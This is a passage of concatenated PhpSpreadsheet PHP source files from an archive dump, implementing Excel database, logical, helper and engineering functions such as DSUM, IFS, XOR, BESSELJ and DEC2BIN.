* specify. * * Excel Function: * DGET(database,field,criteria) * * @param mixed[] $database The range of cells that makes up the list or database. * A database is a list of related data in which rows of related * information are records, and columns of data are fields. The * first row of the list contains labels for each column. * @param null|array|int|string $field Indicates which column is used in the function. Enter the * column label enclosed between double quotation marks, such as * "Age" or "Yield," or a number (without quotation marks) that * represents the position of the column within the list: 1 for * the first column, 2 for the second column, and so on. * @param mixed[] $criteria The range of cells that contains the conditions you specify. * You can use any range for the criteria argument, as long as it * includes at least one column label and at least one cell below * the column label in which you specify a condition for the * column. */ public static function evaluate(array $database, array|null|int|string $field, array $criteria): null|float|int|string { $field = self::fieldExtract($database, $field); if ($field === null) { return ExcelError::VALUE(); } $columnData = self::getFilteredColumn($database, $field, $criteria); if (count($columnData) > 1) { return ExcelError::NAN(); } $row = array_pop($columnData); return array_pop($row); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Database/DSum.php000064400000004342151676714400022575 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Database; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; use PhpOffice\PhpSpreadsheet\Calculation\MathTrig; class DSum extends DatabaseAbstract { /** * DSUM. * * Adds the numbers in a column of a list or database that match conditions that you specify. * * Excel Function: * DSUM(database,field,criteria) * * @param mixed[] $database The range of cells that makes up the list or database. * A database is a list of related data in which rows of related * information are records, and columns of data are fields. The * first row of the list contains labels for each column. * @param null|array|int|string $field Indicates which column is used in the function. Enter the * column label enclosed between double quotation marks, such as * "Age" or "Yield," or a number (without quotation marks) that * represents the position of the column within the list: 1 for * the first column, 2 for the second column, and so on. * @param mixed[] $criteria The range of cells that contains the conditions you specify. * You can use any range for the criteria argument, as long as it * includes at least one column label and at least one cell below * the column label in which you specify a condition for the * column. */ public static function evaluate(array $database, array|null|int|string $field, array $criteria, bool $returnNull = false): null|float|string { $field = self::fieldExtract($database, $field); if ($field === null) { return $returnNull ? null : ExcelError::VALUE(); } return MathTrig\Sum::sumIgnoringStrings( self::getFilteredColumn($database, $field, $criteria) ); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Logical/Boolean.php000064400000001035151676714400023146 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Logical; class Boolean { /** * TRUE. * * Returns the boolean TRUE. * * Excel Function: * =TRUE() * * @return bool True */ public static function true(): bool { return true; } /** * FALSE. * * Returns the boolean FALSE. * * Excel Function: * =FALSE() * * @return bool False */ public static function false(): bool { return false; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Logical/Conditional.php000064400000021613151676714400024036 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Logical; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Functions; use PhpOffice\PhpSpreadsheet\Calculation\Information\ErrorValue; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; use PhpOffice\PhpSpreadsheet\Calculation\Information\Value; class Conditional { use ArrayEnabled; /** * STATEMENT_IF. * * Returns one value if a condition you specify evaluates to TRUE and another value if it evaluates to FALSE. * * Excel Function: * =IF(condition[,returnIfTrue[,returnIfFalse]]) * * Condition is any value or expression that can be evaluated to TRUE or FALSE. * For example, A10=100 is a logical expression; if the value in cell A10 is equal to 100, * the expression evaluates to TRUE. Otherwise, the expression evaluates to FALSE. * This argument can use any comparison calculation operator. * ReturnIfTrue is the value that is returned if condition evaluates to TRUE. * For example, if this argument is the text string "Within budget" and * the condition argument evaluates to TRUE, then the IF function returns the text "Within budget" * If condition is TRUE and ReturnIfTrue is blank, this argument returns 0 (zero). * To display the word TRUE, use the logical value TRUE for this argument. * ReturnIfTrue can be another formula. * ReturnIfFalse is the value that is returned if condition evaluates to FALSE. * For example, if this argument is the text string "Over budget" and the condition argument evaluates * to FALSE, then the IF function returns the text "Over budget". * If condition is FALSE and ReturnIfFalse is omitted, then the logical value FALSE is returned. * If condition is FALSE and ReturnIfFalse is blank, then the value 0 (zero) is returned. * ReturnIfFalse can be another formula. * * @param mixed $condition Condition to evaluate * @param mixed $returnIfTrue Value to return when condition is true * Note that this can be an array value * @param mixed $returnIfFalse Optional value to return when condition is false * Note that this can be an array value * * @return mixed The value of returnIfTrue or returnIfFalse determined by condition */ public static function statementIf(mixed $condition = true, mixed $returnIfTrue = 0, mixed $returnIfFalse = false): mixed { $condition = ($condition === null) ? true : Functions::flattenSingleValue($condition); if (ErrorValue::isError($condition)) { return $condition; } $returnIfTrue = $returnIfTrue ?? 0; $returnIfFalse = $returnIfFalse ?? false; return ((bool) $condition) ? $returnIfTrue : $returnIfFalse; } /** * STATEMENT_SWITCH. * * Returns corresponding with first match (any data type such as a string, numeric, date, etc). * * Excel Function: * =SWITCH (expression, value1, result1, value2, result2, ... value_n, result_n [, default]) * * Expression * The expression to compare to a list of values. * value1, value2, ... value_n * A list of values that are compared to expression. * The SWITCH function is looking for the first value that matches the expression. * result1, result2, ... result_n * A list of results. The SWITCH function returns the corresponding result when a value * matches expression. * Note that these can be array values to be returned * default * Optional. It is the default to return if expression does not match any of the values * (value1, value2, ... value_n). * Note that this can be an array value to be returned * * @param mixed $arguments Statement arguments * * @return mixed The value of matched expression */ public static function statementSwitch(mixed ...$arguments): mixed { $result = ExcelError::VALUE(); if (count($arguments) > 0) { $targetValue = Functions::flattenSingleValue($arguments[0]); $argc = count($arguments) - 1; $switchCount = floor($argc / 2); $hasDefaultClause = $argc % 2 !== 0; $defaultClause = $argc % 2 === 0 ? null : $arguments[$argc]; $switchSatisfied = false; if ($switchCount > 0) { for ($index = 0; $index < $switchCount; ++$index) { if ($targetValue == Functions::flattenSingleValue($arguments[$index * 2 + 1])) { $result = $arguments[$index * 2 + 2]; $switchSatisfied = true; break; } } } if ($switchSatisfied !== true) { $result = $hasDefaultClause ? $defaultClause : ExcelError::NA(); } } return $result; } /** * IFERROR. * * Excel Function: * =IFERROR(testValue,errorpart) * * @param mixed $testValue Value to check, is also the value returned when no error * Or can be an array of values * @param mixed $errorpart Value to return when testValue is an error condition * Note that this can be an array value to be returned * * @return mixed The value of errorpart or testValue determined by error condition * If an array of values is passed as the $testValue argument, then the returned result will also be * an array with the same dimensions */ public static function IFERROR(mixed $testValue = '', mixed $errorpart = ''): mixed { if (is_array($testValue)) { return self::evaluateArrayArgumentsSubset([self::class, __FUNCTION__], 1, $testValue, $errorpart); } $errorpart = $errorpart ?? ''; $testValue = $testValue ?? 0; // this is how Excel handles empty cell return self::statementIf(ErrorValue::isError($testValue), $errorpart, $testValue); } /** * IFNA. * * Excel Function: * =IFNA(testValue,napart) * * @param mixed $testValue Value to check, is also the value returned when not an NA * Or can be an array of values * @param mixed $napart Value to return when testValue is an NA condition * Note that this can be an array value to be returned * * @return mixed The value of errorpart or testValue determined by error condition * If an array of values is passed as the $testValue argument, then the returned result will also be * an array with the same dimensions */ public static function IFNA(mixed $testValue = '', mixed $napart = ''): mixed { if (is_array($testValue)) { return self::evaluateArrayArgumentsSubset([self::class, __FUNCTION__], 1, $testValue, $napart); } $napart = $napart ?? ''; $testValue = $testValue ?? 0; // this is how Excel handles empty cell return self::statementIf(ErrorValue::isNa($testValue), $napart, $testValue); } /** * IFS. * * Excel Function: * =IFS(testValue1;returnIfTrue1;testValue2;returnIfTrue2;...;testValue_n;returnIfTrue_n) * * testValue1 ... testValue_n * Conditions to Evaluate * returnIfTrue1 ... returnIfTrue_n * Value returned if corresponding testValue (nth) was true * * @param mixed ...$arguments Statement arguments * Note that this can be an array value to be returned * * @return mixed|string The value of returnIfTrue_n, if testValue_n was true. #N/A if none of testValues was true */ public static function IFS(mixed ...$arguments) { $argumentCount = count($arguments); if ($argumentCount % 2 != 0) { return ExcelError::NA(); } // We use instance of Exception as a falseValue in order to prevent string collision with value in cell $falseValueException = new Exception(); for ($i = 0; $i < $argumentCount; $i += 2) { $testValue = ($arguments[$i] === null) ? '' : Functions::flattenSingleValue($arguments[$i]); $returnIfTrue = ($arguments[$i + 1] === null) ? '' : $arguments[$i + 1]; $result = self::statementIf($testValue, $returnIfTrue, $falseValueException); if ($result !== $falseValueException) { return $result; } } return ExcelError::NA(); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Logical/Operations.php000064400000014713151676714400023721 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Logical; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Calculation; use PhpOffice\PhpSpreadsheet\Calculation\Functions; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; class Operations { use ArrayEnabled; /** * LOGICAL_AND. * * Returns boolean TRUE if all its arguments are TRUE; returns FALSE if one or more argument is FALSE. * * Excel Function: * =AND(logical1[,logical2[, ...]]) * * The arguments must evaluate to logical values such as TRUE or FALSE, or the arguments must be arrays * or references that contain logical values. * * Boolean arguments are treated as True or False as appropriate * Integer or floating point arguments are treated as True, except for 0 or 0.0 which are False * If any argument value is a string, or a Null, the function returns a #VALUE! error, unless the string * holds the value TRUE or FALSE, in which case it is evaluated as the corresponding boolean value * * @param mixed ...$args Data values * * @return bool|string the logical AND of the arguments */ public static function logicalAnd(mixed ...$args) { return self::countTrueValues($args, fn (int $trueValueCount, int $count): bool => $trueValueCount === $count); } /** * LOGICAL_OR. * * Returns boolean TRUE if any argument is TRUE; returns FALSE if all arguments are FALSE. * * Excel Function: * =OR(logical1[,logical2[, ...]]) * * The arguments must evaluate to logical values such as TRUE or FALSE, or the arguments must be arrays * or references that contain logical values. * * Boolean arguments are treated as True or False as appropriate * Integer or floating point arguments are treated as True, except for 0 or 0.0 which are False * If any argument value is a string, or a Null, the function returns a #VALUE! error, unless the string * holds the value TRUE or FALSE, in which case it is evaluated as the corresponding boolean value * * @param mixed $args Data values * * @return bool|string the logical OR of the arguments */ public static function logicalOr(mixed ...$args) { return self::countTrueValues($args, fn (int $trueValueCount): bool => $trueValueCount > 0); } /** * LOGICAL_XOR. * * Returns the Exclusive Or logical operation for one or more supplied conditions. * i.e. the Xor function returns TRUE if an odd number of the supplied conditions evaluate to TRUE, * and FALSE otherwise. * * Excel Function: * =XOR(logical1[,logical2[, ...]]) * * The arguments must evaluate to logical values such as TRUE or FALSE, or the arguments must be arrays * or references that contain logical values. * * Boolean arguments are treated as True or False as appropriate * Integer or floating point arguments are treated as True, except for 0 or 0.0 which are False * If any argument value is a string, or a Null, the function returns a #VALUE! error, unless the string * holds the value TRUE or FALSE, in which case it is evaluated as the corresponding boolean value * * @param mixed $args Data values * * @return bool|string the logical XOR of the arguments */ public static function logicalXor(mixed ...$args) { return self::countTrueValues($args, fn (int $trueValueCount): bool => $trueValueCount % 2 === 1); } /** * NOT. * * Returns the boolean inverse of the argument. * * Excel Function: * =NOT(logical) * * The argument must evaluate to a logical value such as TRUE or FALSE * * Boolean arguments are treated as True or False as appropriate * Integer or floating point arguments are treated as True, except for 0 or 0.0 which are False * If any argument value is a string, or a Null, the function returns a #VALUE! error, unless the string * holds the value TRUE or FALSE, in which case it is evaluated as the corresponding boolean value * * @param mixed $logical A value or expression that can be evaluated to TRUE or FALSE * Or can be an array of values * * @return array|bool|string the boolean inverse of the argument * If an array of values is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function NOT(mixed $logical = false): array|bool|string { if (is_array($logical)) { return self::evaluateSingleArgumentArray([self::class, __FUNCTION__], $logical); } if (is_string($logical)) { $logical = mb_strtoupper($logical, 'UTF-8'); if (($logical == 'TRUE') || ($logical == Calculation::getTRUE())) { return false; } elseif (($logical == 'FALSE') || ($logical == Calculation::getFALSE())) { return true; } return ExcelError::VALUE(); } return !$logical; } private static function countTrueValues(array $args, callable $func): bool|string { $trueValueCount = 0; $count = 0; $aArgs = Functions::flattenArrayIndexed($args); foreach ($aArgs as $k => $arg) { ++$count; // Is it a boolean value? if (is_bool($arg)) { $trueValueCount += $arg; } elseif (is_string($arg)) { $isLiteral = !Functions::isCellValue($k); $arg = mb_strtoupper($arg, 'UTF-8'); if ($isLiteral && ($arg == 'TRUE' || $arg == Calculation::getTRUE())) { ++$trueValueCount; } elseif ($isLiteral && ($arg == 'FALSE' || $arg == Calculation::getFALSE())) { //$trueValueCount += 0; } else { --$count; } } elseif (is_int($arg) || is_float($arg)) { $trueValueCount += (int) ($arg != 0); } else { --$count; } } return ($count === 0) ? ExcelError::VALUE() : $func($trueValueCount, $count); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/ExceptionHandler.php000064400000000702151676714400023451 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation; class ExceptionHandler { /** * Register errorhandler. */ public function __construct() { /** @var callable $callable */ $callable = [Exception::class, 'errorHandlerCallback']; set_error_handler($callable, E_ALL); } /** * Unregister errorhandler. */ public function __destruct() { restore_error_handler(); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Functions.php000064400000024251151676714400022172 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation; use PhpOffice\PhpSpreadsheet\Cell\Cell; use PhpOffice\PhpSpreadsheet\Shared\Date; class Functions { const PRECISION = 8.88E-016; /** * 2 / PI. */ const M_2DIVPI = 0.63661977236758134307553505349006; const COMPATIBILITY_EXCEL = 'Excel'; const COMPATIBILITY_GNUMERIC = 'Gnumeric'; const COMPATIBILITY_OPENOFFICE = 'OpenOfficeCalc'; /** Use of RETURNDATE_PHP_NUMERIC is discouraged - not 32-bit Y2038-safe, no timezone. */ const RETURNDATE_PHP_NUMERIC = 'P'; /** Use of RETURNDATE_UNIX_TIMESTAMP is discouraged - not 32-bit Y2038-safe, no timezone. */ const RETURNDATE_UNIX_TIMESTAMP = 'P'; const RETURNDATE_PHP_OBJECT = 'O'; const RETURNDATE_PHP_DATETIME_OBJECT = 'O'; const RETURNDATE_EXCEL = 'E'; /** * Compatibility mode to use for error checking and responses. */ protected static string $compatibilityMode = self::COMPATIBILITY_EXCEL; /** * Data Type to use when returning date values. */ protected static string $returnDateType = self::RETURNDATE_EXCEL; /** * Set the Compatibility Mode. * * @param string $compatibilityMode Compatibility Mode * Permitted values are: * Functions::COMPATIBILITY_EXCEL 'Excel' * Functions::COMPATIBILITY_GNUMERIC 'Gnumeric' * Functions::COMPATIBILITY_OPENOFFICE 'OpenOfficeCalc' * * @return bool (Success or Failure) */ public static function setCompatibilityMode(string $compatibilityMode): bool { if ( ($compatibilityMode == self::COMPATIBILITY_EXCEL) || ($compatibilityMode == self::COMPATIBILITY_GNUMERIC) || ($compatibilityMode == self::COMPATIBILITY_OPENOFFICE) ) { self::$compatibilityMode = $compatibilityMode; return true; } return false; } /** * Return the current Compatibility Mode. * * @return string Compatibility Mode * Possible Return values are: * Functions::COMPATIBILITY_EXCEL 'Excel' * Functions::COMPATIBILITY_GNUMERIC 'Gnumeric' * Functions::COMPATIBILITY_OPENOFFICE 'OpenOfficeCalc' */ public static function getCompatibilityMode(): string { return self::$compatibilityMode; } /** * Set the Return Date Format used by functions that return a date/time (Excel, PHP Serialized Numeric or PHP DateTime Object). * * @param string $returnDateType Return Date Format * Permitted values are: * Functions::RETURNDATE_UNIX_TIMESTAMP 'P' * Functions::RETURNDATE_PHP_DATETIME_OBJECT 'O' * Functions::RETURNDATE_EXCEL 'E' * * @return bool Success or failure */ public static function setReturnDateType(string $returnDateType): bool { if ( ($returnDateType == self::RETURNDATE_UNIX_TIMESTAMP) || ($returnDateType == self::RETURNDATE_PHP_DATETIME_OBJECT) || ($returnDateType == self::RETURNDATE_EXCEL) ) { self::$returnDateType = $returnDateType; return true; } return false; } /** * Return the current Return Date Format for functions that return a date/time (Excel, PHP Serialized Numeric or PHP Object). * * @return string Return Date Format * Possible Return values are: * Functions::RETURNDATE_UNIX_TIMESTAMP 'P' * Functions::RETURNDATE_PHP_DATETIME_OBJECT 'O' * Functions::RETURNDATE_EXCEL ' 'E' */ public static function getReturnDateType(): string { return self::$returnDateType; } /** * DUMMY. * * @return string #Not Yet Implemented */ public static function DUMMY(): string { return '#Not Yet Implemented'; } public static function isMatrixValue(mixed $idx): bool { return (substr_count($idx, '.') <= 1) || (preg_match('/\.[A-Z]/', $idx) > 0); } public static function isValue(mixed $idx): bool { return substr_count($idx, '.') === 0; } public static function isCellValue(mixed $idx): bool { return substr_count($idx, '.') > 1; } public static function ifCondition(mixed $condition): string { $condition = self::flattenSingleValue($condition); if ($condition === '' || $condition === null) { return '=""'; } if (!is_string($condition) || !in_array($condition[0], ['>', '<', '='], true)) { $condition = self::operandSpecialHandling($condition); if (is_bool($condition)) { return '=' . ($condition ? 'TRUE' : 'FALSE'); } elseif (!is_numeric($condition)) { if ($condition !== '""') { // Not an empty string // Escape any quotes in the string value $condition = (string) preg_replace('/"/ui', '""', $condition); } $condition = Calculation::wrapResult(strtoupper($condition)); } return str_replace('""""', '""', '=' . $condition); } preg_match('/(=|<[>=]?|>=?)(.*)/', $condition, $matches); [, $operator, $operand] = $matches; $operand = self::operandSpecialHandling($operand); if (is_numeric(trim($operand, '"'))) { $operand = trim($operand, '"'); } elseif (!is_numeric($operand) && $operand !== 'FALSE' && $operand !== 'TRUE') { $operand = str_replace('"', '""', $operand); $operand = Calculation::wrapResult(strtoupper($operand)); } return str_replace('""""', '""', $operator . $operand); } private static function operandSpecialHandling(mixed $operand): mixed { if (is_numeric($operand) || is_bool($operand)) { return $operand; } elseif (strtoupper($operand) === Calculation::getTRUE() || strtoupper($operand) === Calculation::getFALSE()) { return strtoupper($operand); } // Check for percentage if (preg_match('/^\-?\d*\.?\d*\s?\%$/', $operand)) { return ((float) rtrim($operand, '%')) / 100; } // Check for dates if (($dateValueOperand = Date::stringToExcel($operand)) !== false) { return $dateValueOperand; } return $operand; } /** * Convert a multi-dimensional array to a simple 1-dimensional array. * * @param mixed $array Array to be flattened * * @return array Flattened array */ public static function flattenArray(mixed $array): array { if (!is_array($array)) { return (array) $array; } $flattened = []; $stack = array_values($array); while (!empty($stack)) { $value = array_shift($stack); if (is_array($value)) { array_unshift($stack, ...array_values($value)); } else { $flattened[] = $value; } } return $flattened; } public static function scalar(mixed $value): mixed { if (!is_array($value)) { return $value; } do { $value = array_pop($value); } while (is_array($value)); return $value; } /** * Convert a multi-dimensional array to a simple 1-dimensional array, but retain an element of indexing. * * @param array|mixed $array Array to be flattened * * @return array Flattened array */ public static function flattenArrayIndexed($array): array { if (!is_array($array)) { return (array) $array; } $arrayValues = []; foreach ($array as $k1 => $value) { if (is_array($value)) { foreach ($value as $k2 => $val) { if (is_array($val)) { foreach ($val as $k3 => $v) { $arrayValues[$k1 . '.' . $k2 . '.' . $k3] = $v; } } else { $arrayValues[$k1 . '.' . $k2] = $val; } } } else { $arrayValues[$k1] = $value; } } return $arrayValues; } /** * Convert an array to a single scalar value by extracting the first element. * * @param mixed $value Array or scalar value */ public static function flattenSingleValue(mixed $value): mixed { while (is_array($value)) { $value = array_shift($value); } return $value; } public static function expandDefinedName(string $coordinate, Cell $cell): string { $worksheet = $cell->getWorksheet(); $spreadsheet = $worksheet->getParentOrThrow(); // Uppercase coordinate $pCoordinatex = strtoupper($coordinate); // Eliminate leading equal sign $pCoordinatex = (string) preg_replace('/^=/', '', $pCoordinatex); $defined = $spreadsheet->getDefinedName($pCoordinatex, $worksheet); if ($defined !== null) { $worksheet2 = $defined->getWorkSheet(); if (!$defined->isFormula() && $worksheet2 !== null) { $coordinate = "'" . $worksheet2->getTitle() . "'!" . (string) preg_replace('/^=/', '', str_replace('$', '', $defined->getValue())); } } return $coordinate; } public static function trimTrailingRange(string $coordinate): string { return (string) preg_replace('/:[\\w\$]+$/', '', $coordinate); } public static function trimSheetFromCellReference(string $coordinate): string { if (str_contains($coordinate, '!')) { $coordinate = substr($coordinate, strrpos($coordinate, '!') + 1); } return $coordinate; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Engineering/Constants.php000064400000000247151676714400024427 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Engineering; class Constants { /** * EULER. */ public const EULER = 2.71828182845904523536; } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Engineering/BesselJ.php000064400000013403151676714400024000 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Engineering; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; class BesselJ { use ArrayEnabled; /** * BESSELJ. * * Returns the Bessel function * * Excel Function: * BESSELJ(x,ord) * * NOTE: The MS Excel implementation of the BESSELJ function is still not accurate, particularly for higher order * values with x < -8 and x > 8. This code provides a more accurate calculation * * @param mixed $x A float value at which to evaluate the function. * If x is nonnumeric, BESSELJ returns the #VALUE! error value. * Or can be an array of values * @param mixed $ord The integer order of the Bessel function. * If ord is not an integer, it is truncated. * If $ord is nonnumeric, BESSELJ returns the #VALUE! error value. * If $ord < 0, BESSELJ returns the #NUM! error value. * Or can be an array of values * * @return array|float|string Result, or a string containing an error * If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function BESSELJ(mixed $x, mixed $ord): array|string|float { if (is_array($x) || is_array($ord)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $x, $ord); } try { $x = EngineeringValidations::validateFloat($x); $ord = EngineeringValidations::validateInt($ord); } catch (Exception $e) { return $e->getMessage(); } if ($ord < 0) { return ExcelError::NAN(); } $fResult = self::calculate($x, $ord); return (is_nan($fResult)) ? ExcelError::NAN() : $fResult; } private static function calculate(float $x, int $ord): float { return match ($ord) { 0 => self::besselJ0($x), 1 => self::besselJ1($x), default => self::besselJ2($x, $ord), }; } private static function besselJ0(float $x): float { $ax = abs($x); if ($ax < 8.0) { $y = $x * $x; $ans1 = 57568490574.0 + $y * (-13362590354.0 + $y * (651619640.7 + $y * (-11214424.18 + $y * (77392.33017 + $y * (-184.9052456))))); $ans2 = 57568490411.0 + $y * (1029532985.0 + $y * (9494680.718 + $y * (59272.64853 + $y * (267.8532712 + $y * 1.0)))); return $ans1 / $ans2; } $z = 8.0 / $ax; $y = $z * $z; $xx = $ax - 0.785398164; $ans1 = 1.0 + $y * (-0.1098628627e-2 + $y * (0.2734510407e-4 + $y * (-0.2073370639e-5 + $y * 0.2093887211e-6))); $ans2 = -0.1562499995e-1 + $y * (0.1430488765e-3 + $y * (-0.6911147651e-5 + $y * (0.7621095161e-6 - $y * 0.934935152e-7))); return sqrt(0.636619772 / $ax) * (cos($xx) * $ans1 - $z * sin($xx) * $ans2); } private static function besselJ1(float $x): float { $ax = abs($x); if ($ax < 8.0) { $y = $x * $x; $ans1 = $x * (72362614232.0 + $y * (-7895059235.0 + $y * (242396853.1 + $y * (-2972611.439 + $y * (15704.48260 + $y * (-30.16036606)))))); $ans2 = 144725228442.0 + $y * (2300535178.0 + $y * (18583304.74 + $y * (99447.43394 + $y * (376.9991397 + $y * 1.0)))); return $ans1 / $ans2; } $z = 8.0 / $ax; $y = $z * $z; $xx = $ax - 2.356194491; $ans1 = 1.0 + $y * (0.183105e-2 + $y * (-0.3516396496e-4 + $y * (0.2457520174e-5 + $y * (-0.240337019e-6)))); $ans2 = 0.04687499995 + $y * (-0.2002690873e-3 + $y * (0.8449199096e-5 + $y * (-0.88228987e-6 + $y * 0.105787412e-6))); $ans = sqrt(0.636619772 / $ax) * (cos($xx) * $ans1 - $z * sin($xx) * $ans2); return ($x < 0.0) ? -$ans : $ans; } private static function besselJ2(float $x, int $ord): float { $ax = abs($x); if ($ax === 0.0) { return 0.0; } if ($ax > $ord) { return self::besselj2a($ax, $ord, $x); } return self::besselj2b($ax, $ord, $x); } private static function besselj2a(float $ax, int $ord, float $x): float { $tox = 2.0 / $ax; $bjm = self::besselJ0($ax); $bj = self::besselJ1($ax); for ($j = 1; $j < $ord; ++$j) { $bjp = $j * $tox * $bj - $bjm; $bjm = $bj; $bj = $bjp; } $ans = $bj; return ($x < 0.0 && ($ord % 2) == 1) ? -$ans : $ans; } private static function besselj2b(float $ax, int $ord, float $x): float { $tox = 2.0 / $ax; $jsum = false; $bjp = $ans = $sum = 0.0; $bj = 1.0; for ($j = 2 * ($ord + (int) sqrt(40.0 * $ord)); $j > 0; --$j) { $bjm = $j * $tox * $bj - $bjp; $bjp = $bj; $bj = $bjm; if (abs($bj) > 1.0e+10) { $bj *= 1.0e-10; $bjp *= 1.0e-10; $ans *= 1.0e-10; $sum *= 1.0e-10; } if ($jsum === true) { $sum += $bj; } $jsum = $jsum === false; if ($j === $ord) { $ans = $bjp; } } $sum = 2.0 * $sum - $bj; $ans /= $sum; return ($x < 0.0 && ($ord % 2) === 1) ? -$ans : $ans; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Engineering/Compare.php000064400000006110151676714400024034 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Engineering; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Exception; class Compare { use ArrayEnabled; /** * DELTA. * * Excel Function: * DELTA(a[,b]) * * Tests whether two values are equal. Returns 1 if number1 = number2; returns 0 otherwise. * Use this function to filter a set of values. For example, by summing several DELTA * functions you calculate the count of equal pairs. This function is also known as the * Kronecker Delta function. * * @param array|bool|float|int|string $a the first number * Or can be an array of values * @param array|bool|float|int|string $b The second number. If omitted, b is assumed to be zero. * Or can be an array of values * * @return array|int|string (string in the event of an error) * If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function DELTA(array|float|bool|string|int $a, array|float|bool|string|int $b = 0.0): array|string|int { if (is_array($a) || is_array($b)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $a, $b); } try { $a = EngineeringValidations::validateFloat($a); $b = EngineeringValidations::validateFloat($b); } catch (Exception $e) { return $e->getMessage(); } return (int) (abs($a - $b) < 1.0e-15); } /** * GESTEP. * * Excel Function: * GESTEP(number[,step]) * * Returns 1 if number >= step; returns 0 (zero) otherwise * Use this function to filter a set of values. For example, by summing several GESTEP * functions you calculate the count of values that exceed a threshold. * * @param array|bool|float|int|string $number the value to test against step * Or can be an array of values * @param null|array|bool|float|int|string $step The threshold value. If you omit a value for step, GESTEP uses zero. * Or can be an array of values * * @return array|int|string (string in the event of an error) * If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function GESTEP(array|float|bool|string|int $number, $step = 0.0): array|string|int { if (is_array($number) || is_array($step)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $number, $step); } try { $number = EngineeringValidations::validateFloat($number); $step = EngineeringValidations::validateFloat($step ?? 0.0); } catch (Exception $e) { return $e->getMessage(); } return (int) ($number >= $step); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/Engineering/ConvertDecimal.php000064400000022574151676714400025361 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\Engineering; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; class ConvertDecimal extends ConvertBase { const LARGEST_OCTAL_IN_DECIMAL = 536870911; const SMALLEST_OCTAL_IN_DECIMAL = -536870912; const LARGEST_BINARY_IN_DECIMAL = 511; const SMALLEST_BINARY_IN_DECIMAL = -512; const LARGEST_HEX_IN_DECIMAL = 549755813887; const SMALLEST_HEX_IN_DECIMAL = -549755813888; /** * toBinary. * * Return a decimal value as binary. * * Excel Function: * DEC2BIN(x[,places]) * * @param array|bool|float|int|string $value The decimal integer you want to convert. If number is negative, * valid place values are ignored and DEC2BIN returns a 10-character * (10-bit) binary number in which the most significant bit is the sign * bit. The remaining 9 bits are magnitude bits. Negative numbers are * represented using two's-complement notation. * If number < -512 or if number > 511, DEC2BIN returns the #NUM! error * value. * If number is nonnumeric, DEC2BIN returns the #VALUE! error value. * If DEC2BIN requires more than places characters, it returns the #NUM! * error value. * Or can be an array of values * @param null|array|float|int|string $places The number of characters to use. If places is omitted, DEC2BIN uses * the minimum number of characters necessary. Places is useful for * padding the return value with leading 0s (zeros). * If places is not an integer, it is truncated. * If places is nonnumeric, DEC2BIN returns the #VALUE! error value. * If places is zero or negative, DEC2BIN returns the #NUM! error value. * Or can be an array of values * * @return array|string Result, or an error * If an array of numbers is passed as an argument, then the returned result will also be an array * with the same dimensions */ public static function toBinary($value, $places = null): array|string { if (is_array($value) || is_array($places)) { return self::evaluateArrayArguments([self::class, __FUNCTION__], $value, $places); } try { $value = self::validateValue($value); $value = self::validateDecimal($value); $places = self::validatePlaces($places); } catch (Exception $e) { return $e->getMessage(); } $value = (int) floor((float) $value); if ($value > self::LARGEST_BINARY_IN_DECIMAL || $value < self::SMALLEST_BINARY_IN_DECIMAL) { return ExcelError::NAN(); } $r = decbin($value); // Two's Complement $r = substr($r, -10); return self::nbrConversionFormat($r, $places); } /** * toHex. * * Return a decimal value as hex. * * Excel Function: * DEC2HEX(x[,places]) * * @param array|bool|float|int|string $value The decimal integer you want to convert. If number is negative, * places is ignored and DEC2HEX returns a 10-character (40-bit) * hexadecimal number in which the most significant bit is the sign * bit. The remaining 39 bits are magnitude bits. Negative numbers * are represented using two's-complement notation. * If number < -549,755,813,888 or if number > 549,755,813,887, * DEC2HEX returns the #NUM! error value. * If number is nonnumeric, DEC2HEX returns the #VALUE! error value. * If DEC2HEX requires more than places characters, it returns the * #NUM! error value. * Or can be an array of values * @param null|array|float|int|string $places The number of characters to use. If places is omitted, DEC2HEX uses * the minimum number of characters necessary. Places is useful for * padding the return value with leading 0s (zeros). * If places is not an integer, it is truncated. * If places is nonnumeric, DEC2HEX returns the #VALUE! error value. * If places is zero or negative, DEC2HEX returns the 